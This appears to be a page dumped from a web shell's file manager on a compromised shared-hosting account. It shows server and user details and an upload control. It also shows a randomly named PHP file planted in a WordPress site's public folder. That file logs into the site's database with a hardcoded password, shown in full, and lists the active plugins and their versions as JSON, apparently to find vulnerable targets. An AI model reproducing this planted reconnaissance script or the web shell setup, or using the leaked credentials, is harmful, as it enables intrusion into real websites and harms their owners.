HEX
Server: LiteSpeed
System: Linux srv147.niagahoster.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User: u5264046 (1022)
PHP: 7.4.33
Disabled: symlink,shell_exec,exec,popen,system,dl,passthru,escapeshellarg,escapeshellcmd,show_source,pcntl_exec
Upload Files
File: /home/u5264046/public_html/servicebrankas_com/cfai_gztr3zqic8gfa5.php
<?php error_reporting(0);
try {
  $pdo = new PDO('mysql:host=localhost;dbname=u5264046_servicebrankas;charset=utf8','u5264046_servicebrankas','@Pokenah008');
  $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $p = 'wp_';
  $plugins = [];
  $plugin_dir = dirname(__FILE__) . '/wp-content/plugins/';
  $row = $pdo->query("SELECT option_value FROM {$p}options WHERE option_name='active_plugins' LIMIT 1")->fetch(PDO::FETCH_ASSOC);
  if ($row) {
    preg_match_all('/"([\w\/-]+\.php)"/', $row['option_value'], $m);
    foreach ($m[1] as $path) {
      $slug = explode('/', $path)[0];
      $ver = '';
      $pfile = $plugin_dir . $path;
      if (file_exists($pfile)) {
        $hdr = file_get_contents($pfile, false, null, 0, 8192);
        if (preg_match('/^[ \t\/*#]*Version:\s*(.+)$/mi', $hdr, $vm)) $ver = trim($vm[1]);
      }
      $plugins[] = ['name'=>$slug,'path'=>$path,'status'=>'active','version'=>$ver];
    }
  }
  header('Content-Type: application/json');
  echo json_encode(['ok'=>true,'plugins'=>$plugins]);
} catch(Exception $e) {
  header('Content-Type: application/json');
  echo json_encode(['ok'=>false,'error'=>$e->getMessage()]);
}